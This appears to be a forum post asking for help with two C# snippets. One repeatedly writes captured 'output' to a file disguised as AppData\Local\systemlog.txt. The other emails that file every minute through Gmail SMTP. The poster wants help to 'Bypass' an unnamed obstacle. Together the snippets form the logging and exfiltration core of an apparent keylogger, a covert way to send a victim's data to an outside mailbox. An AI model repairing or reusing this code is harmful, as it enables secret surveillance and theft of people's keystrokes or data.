while (true) { System.Threading.Thread.Sleep(2000); using (StreamWriter stream = File.CreateText(@"C:\Users\"+ Environment.UserName + @"\AppData\Local\systemlog.txt")) { stream.WriteLine(output); stream.Flush(); } } AND: DateTime LastSend = System.DateTime.Now; while (true) { if (LastSend.AddMinutes(1) > System.DateTime.Now) continue; MailMessage mail = new MailMessage(); SmtpClient SmtpServer = new SmtpClient("smtp.gmail.com"); mail.From = new MailAddress(""); mail.To.Add(""); mail.Subject = "Test Mail"; mail.Attachments.Add(new Attachment(@"C:\Users\"+ Environment.UserName + @"\AppData\Local\systemlog.txt")); mail.Body = "This is for testing SMTP mail from GMAIL"; SmtpServer.Port = 587; SmtpServer.Credentials = new System.Net.NetworkCredential("", ""); SmtpServer.EnableSsl = true; SmtpServer.Send(mail); LastSend = System.DateTime.Now; Application.DoEvents(); }Hey I have an problem with my project and i dont know how to fix it.... the first program makes an text file and writes in there an log. And the second program sends the txt file to my email.How can i Bypass this????? Please help